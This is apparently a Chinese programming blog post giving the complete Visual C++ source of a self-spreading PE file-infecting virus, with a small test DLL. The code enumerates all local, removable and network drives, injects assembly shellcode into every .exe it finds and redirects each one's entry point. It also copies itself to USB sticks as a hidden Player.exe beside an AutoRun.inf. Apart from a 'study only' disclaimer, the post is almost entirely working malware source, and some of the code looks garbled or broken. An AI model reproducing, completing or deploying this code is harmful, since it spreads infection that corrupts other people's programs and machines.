PE型感染病毒 —— VC源码

 

狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”

 

这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....

 

 

这是测试Test.dll源码:

///////////////////////////////////////////////////////////////////////////// // Test.dll // by Koma 2009-12-18 0:40 // http://blog.csdn.net/wangningyu #include <windows.h> BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { HANDLE hThread; DWORD dwThread; switch(lpReserved) { case DLL_PROCESS_ATTACH: MessageBox(NULL,"some process is attching !","Test",MB_OK); hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread); WaitForSingleObject(hThread,INFINITE); CloseHandle(hThread); break; case DLL_THREAD_ATTACH: MessageBox(NULL,"some thread is attching !","Test",MB_OK); break; case DLL_THREAD_DETACH: MessageBox(NULL,"some thread is detaching !","Test",MB_OK); break; case DLL_PROCESS_DETACH: // MessageBox(NULL,"some process is exited !","Test",MB_OK); break; } return TRUE; }

 

这是主程序源码:

///////////////////////////////////////////////////////////////////////////// // 感染PE文件病毒源码 // by Koma 2009-12-18 0:30 // http://blog.csdn.net/wangningyu // 程序仅供学习交流,请不要尝试用作非法用途! // 感谢寂寞的狼、llydd、大飞的指导与技术支持! ///////////////////////////////////////////////////////////////////////////// // 引入头文件 // #include <afxwin.h> #include <windows.h> ///////////////////////////////////////////////////////////////////////////// // DiskInfo class // 采用多线程感染每一个磁盘驱动器 // class DiskInfo { public: CString m_strName; // 磁盘名称,例如C: CString m_strFilePath; // 感染文件的绝对路径 BOOL CurFileIsInject; // 判断该文件是否被感染过 DiskInfo(); // 构造函数,用来初始化成员变量 }; ///////////////////////////////////////////////////////////////////////////// // DiskInfo 构造函数 // 初始化成员变量 // DiskInfo::DiskInfo() { m_strFilePath = _T(""); m_strName = _T(""); } /************************************************************************/ // 全局函数声明 /************************************************************************/ void EmuAllDisk(); // 多线程感染全盘文件 BOOL GetOSVersion(); // 获取操作系统版本是不是NT内核 BOOL InfectPE(CString strFilePath); // 感染指定路径exe文件 BOOL IsInfect(CString strFile); // 判断是否被感染过 BOOL CheckPE(FILE* pFile); // 检查文件格式 int Align(int size,unsigned int align); // 用来计算对齐数据后的大小 int EmuDiskFiles(LPCTSTR lpStr); // 遍历指定盘符exe文件 void RaiseToDebug(); // 进程提权 /************************************************************************/ // 全局变量声明 /************************************************************************/ DiskInfo di; // 传递多线程参数:设置盘符名 DiskInfo diInject; // 传递多线程参数:设置文件路径 /************************************************************************/ /* 函数说明:复制到U盘 /* 参 数:无 /* 返 回 值:成功返回0,失败返回非0 /* By:Koma 2009.12.16 20:35 /************************************************************************/ DWORD ThreadInfectU() { while(true) { // 磁盘类型 UINT revtype; char name[256]="H://" ; char szName[256]={0}; char toPath[256]={0}; char infPath[256]={0}; char openU[80]={0}; // 遍历所有盘符 for(BYTE i=0x42;i<0x5B;i=i+0x01) { name[0]=i; revtype=GetDriveType(name); // 判断是否是可移动存储设备 if (revtype==DRIVE_REMOVABLE) { // 得到自身文件路径、比较是否和U盘的盘符相同 GetModuleFileName(NULL,szName,256); if(strncmp(name,szName,1)==0) { return -1; } else { strcpy(toPath,name); strcat(toPath,"//Player.exe"); strcpy(infPath,name); strcat(infPath,"//AutoRun.inf"); // 还原U盘上的文件属性 SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); // 删除原有文件 DeleteFile(toPath); DeleteFile(infPath); // 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性 CopyFile(szName,toPath,FALSE); SetFileAttributes(toPath, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM); } } } // 休眠5秒检测一次 Sleep(5000); } } /************************************************************************/ /* 函数说明:线程 —— 感染指定exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.17 14:05 /************************************************************************/ DWORD ThreadInject(LPVOID lpParameter) { DiskInfo *diParam = (DiskInfo *)lpParameter; BOOL bRet = InfectPE(diParam->m_strFilePath); if(bRet) return 0; return -1; } /************************************************************************/ /* 函数说明:线程 —— 遍历驱动器exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.17 14:05 /************************************************************************/ DWORD ThreadDisk(LPVOID lpParameter) { DiskInfo *diParam = (DiskInfo *)lpParameter; BOOL bRet = EmuDiskFiles(diParam->m_strName); if(bRet) return 0; return -1; } int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { RaiseToDebug(); // 提升权限 EmuAllDisk(); // 依次启动遍历磁盘线程、遍历文件 MessageBox(NULL,"程序启动成功!","测试",MB_OK); return 0; } /************************************************************************/ /* 函数说明:获取应用程序当前目录 /* 参 数:无 /* 返 回 值:返回目录路径、CString类型字符串 /* By:Koma 2009.12.17 14:25 /************************************************************************/ CString GetExePath() { char pathbuf[260]; int pathlen = ::GetModuleFileName(NULL,pathbuf,260); // 替换掉单杠 while(TRUE) { if(pathbuf[pathlen--]=='//') break; } pathbuf[++pathlen]= 0x0; CString fname = pathbuf; return fname; } /************************************************************************/ /* 函数说明:提升进程权限到debug权限 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 21:20 /************************************************************************/ void RaiseToDebug() { HANDLE hToken; HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄 // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES tkp; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //通知系统修改进程权限 BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); } CloseHandle(hToken); } } /************************************************************************/ /* 函数说明:保护文件防止被轻易删除 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 21:42 /************************************************************************/ BOOL OccupyFile(LPCTSTR lpFileName) { RaiseToDebug(); // 提升权限 // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限 HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4); if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8); if (hProcess == NULL) return FALSE; } HANDLE hFile = NULL; HANDLE hTargetHandle = NULL; // 创建一个文件,当然这个文件可以是本来就存在的 hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { // 文件创建或打开失败 CloseHandle( hProcess ); return FALSE; } return TRUE; } /************************************************************************/ /* 函数说明:多线程感染全盘文件 /* 参 数:无 /* 返 回 值:无 /* By:Koma 2009.12.17 22:30 /************************************************************************/ void EmuAllDisk() { CString strTemp; // 临时字符串 UINT revtype; // 磁盘类型 char name[5]= "C:"; // 磁盘名称 int nCount = 0; // 磁盘数量 HANDLE hThread[10]; // 最大启动十个磁盘感染线程 DWORD dwTid[10]; // 线程PID for(BYTE i=0x42;i<0x5B;i=i+0x01) // 遍历所有盘符 { name[0]=i; revtype=GetDriveType(name); switch(revtype){ // 判断磁盘驱动器的属性 case DRIVE_FIXED: // 是否为本地磁盘 case DRIVE_REMOVABLE: // 是否为可移动磁盘 case DRIVE_REMOTE: // 是否为网络磁盘 if(nCount>10){ // 最大启动十个线程 nCount = 0; // 恢复计数器 Sleep(30000); // 休眠30秒 break; } strTemp.Format("%c",name[0]); strTemp = strTemp + ":"; // 磁盘字符串形式,如C: di.m_strName = strTemp; // 设置感染文件的绝对路径 hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]); nCount++; break; } } } /************************************************************************/ /* 函数说明:判断操作系统版本 /* 参 数:无 /* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE /* By:Koma 2009.12.18 22:20 /************************************************************************/ BOOL GetOSVersion() { DWORD dwVersion = 0; // 如果是Windows 98/Me/95以上的操作系统则返回TRUE dwVersion = GetVersion(); if (dwVersion < 0x80000000) { return TRUE; } return FALSE; } /************************************************************************/ /* 函数说明:感染exe文件 /* 参 数:strFile 文件路径 /* 返 回 值:成功返回TRUE,失败返回FALSE /* By:Koma 2009.12.18 21:32 /************************************************************************/ BOOL InfectPE(CString strFilePath) { FILE* rwFile; // 被感染的文件 IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块 IMAGE_NT_HEADERS NThea; // DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址 int nOldSectionNo; int OEP; if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回 return FALSE; } if(!CheckPE(rwFile)){ // 如果不是PE文件则返回 return FALSE; } fseek(rwFile,0x3c,0); fread(&pNT,sizeof(DWORD),1,rwFile); fseek(rwFile,pNT,0); fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构 nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量 OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息 int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment; int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值 memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息 for(int i=0;i<nOldSectionNo;i++) fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile = fopen(strFilePath,"rb+"); if(newfile==NULL){ return FALSE; } fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET); goto shellend; __asm { shell: PUSHAD MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针 MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址 MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中 MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表 MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目 MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址 ADD EBX,EBP PUSH WORD PTR 0X00 ;构造GetProcAddress字符串 PUSH DWORD PTR 0X73736572 PUSH DWORD PTR 0X64644163 PUSH DWORD PTR 0X6F725074 PUSH WORD PTR 0X6547 MOV EDX,ESP PUSH ECX F1: MOV EDI,EDX POP ECX DEC ECX TEST ECX,ECX JZ EXIT MOV ESI,[EBX+ECX*4] ADD ESI,EBP PUSH ECX MOV ECX,15 REPZ CMPSB TEST ECX,ECX JNZ F1 POP ECX MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址 ADD ESI,EBP MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号 MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址 ADD EDI,EBP MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址 ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串 PUSH DWORD PTR 0X41797261 PUSH DWORD PTR 0X7262694C PUSH DWORD PTR 0X64616F4C PUSH ESP PUSH EBP CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址 PUSH WORD PTR 0X00 ;添加参数“test”符串 PUSH DWORD PTR 0X74736574 PUSH ESP CALL EAX EXIT: ADD ESP,36 ;平衡堆栈 POPAD } shellend: char* pShell; int nShellLen; BYTE jmp = 0xE9; __asm { LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX } // 写入SHELLCODE, for(i=0;i<nShellLen;i++) fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令 NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG); OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5; fwrite(&jmp, sizeof(jmp), 1, newfile); fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小 for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++) fputc('/0',newfile); // 新区块中的数据 strcpy((char*)NewSection.Name,".NYsky"); NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData; NewSection.Misc.VirtualSize=nShellLen; NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG); NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表 fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG); int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG); fseek(newfile,pNT,0); NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0; NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0; NThea.OptionalHeader.SizeOfCode=nNewSizeofCode; NThea.OptionalHeader.SizeOfImage=nNewImageSize; NThea.FileHeader.NumberOfSections=nOldSectionNo+1; NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构 fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile); fclose(newfile); fclose(rwFile); return TRUE; } /************************************************************************/ /* 函数说明:判断文件是否被感染 /* 参 数:strFile 文件路径 /* 返 回 值:成功返回TRUE,失败返回FALSE /* By:Koma 2009.12.18 22:35 /************************************************************************/ BOOL IsInfect(CString strFile) { HANDLE hFile; // 保存文件句柄 HANDLE hMapping; // 内存文件映射句柄 void* pBasePointer; // PE入口点 int dwSestion; // 节结数 int i; // 临时循环变量 BOOL bRet = FALSE; // 返回值 IMAGE_DOS_HEADER *imDos_Headers; // 定义DOS头 IMAGE_NT_HEADERS *imNT_Headers; // 定义PE头 IMAGE_SECTION_HEADER *imSECTION_Headers; // 定义SECTION表头 // 打开文件 hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); if (hFile==INVALID_HANDLE_VALUE){ // GetLastError(); return FALSE; } // 创建内存映射文件 if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){ CloseHandle(hFile); CloseHandle(hMapping); return FALSE; } if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){ CloseHandle(hFile); CloseHandle(hMapping); return FALSE; } // 设置初始指针地址 imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer; if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){ CloseHandle(hFile); CloseHandle(hMapping); return FALSE; } // NT头指针地址 imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew); // 读取节表名 CString strTemp = ""; CString strSectionName; for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++) { strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name); strSectionName = strSectionName + strTemp; dwSestion = i; } // 查找节点是否存在 // MessageBox(strSectionName); if(strSectionName.Find(".data")>0){ bRet = TRUE; } // 关闭句柄、释放文件 CloseHandle(hMapping); CloseHandle(hFile); return bRet; } /************************************************************************/ /* 函数说明:用来计算对齐数据后的大小 /* 参 数:size 计算大小 /* align 对齐后的长度 /* 返 回 值:对齐数据后的大小 /* By:Koma 2009.12.18 23:25 /************************************************************************/ BOOL CheckPE(FILE* pFile) { fseek(pFile,0,SEEK_SET); BOOL bFlags=FALSE; WORD IsMZ; DWORD IsPE,pNT; fread(&IsMZ,sizeof(WORD),1,pFile); if(IsMZ==0x5A4D) { fseek(pFile,0x3c,SEEK_SET); fread(&pNT,sizeof(DWORD),1,pFile); fseek(pFile,pNT,SEEK_SET); fread(&IsPE,sizeof(DWORD),1,pFile); if(IsPE==0X00004550) bFlags=TRUE; else bFlags=FALSE; } else bFlags=FALSE; fseek(pFile,0,SEEK_SET); return bFlags; } /************************************************************************/ /* 函数说明:用来计算对齐数据后的大小 /* 参 数:size 计算大小 /* align 对齐后的长度 /* 返 回 值:对齐数据后的大小 /* By:Koma 2009.12.18 23:42 /************************************************************************/ int Align(int size,unsigned int align) { if(size%align!=0) return (size/align+1)*align; else return size; } /************************************************************************/ /* 函数说明:遍历感染指定驱动器中所有exe文件 /* 参 数:驱动器名称,如C: /* 返 回 值:遍历的数目 /* By:Koma 2009.12.18 23:55 /************************************************************************/ int EmuDiskFiles(LPCTSTR lpStr) { CFileFind fd; CString strWild(lpStr); CString str = fd.GetFilePath(); // 获取每个文件的绝对路径 int nTemp = 0; // 最大启动5个线程同时感染 BOOL bRet; HANDLE hThread; DWORD dwTid; strWild += _T("//*.*"); // 查找类型 bRet = fd.FindFile(strWild); // 开始查找 while (bRet){ // 如果不为空,继续遍历 ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件 if(fd.IsDots()) // 过滤目录自身与上层目录 continue; else if(fd.IsDirectory()){ // 判断是否为文件夹 CString str = fd.GetFilePath(); // 获取文件夹路径 EmuDiskFiles(str); // 继续遍历子目录 } else { int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过 int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过 if(nTemp1>0 || nTemp2>0) goto ReEmu; if(str.Find(".exe")>0){ // 判断是否为exe扩展名 if(!IsInfect(str)) // 判断是否感染过 { di.m_strFilePath = str; // 设置感染文件的绝对路径 hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid); WaitForSingleObject(hThread,INFINITE); //InfectPE(str); } continue; } } Sleep(10000); // 10秒种遍历一个文件 } return 0; } ///////////////////////////////////////////////////////////////////////////// // 感染PE文件病毒源码 // by Koma 2009-12-18 0:30 // http://blog.csdn.net/wangningyu // 程序仅供学习交流,请不要尝试用作非法用途! /////////////////////////////////////////////////////////////////////////////

 

你可能感兴趣的:(多线程,image,File,header,null,磁盘)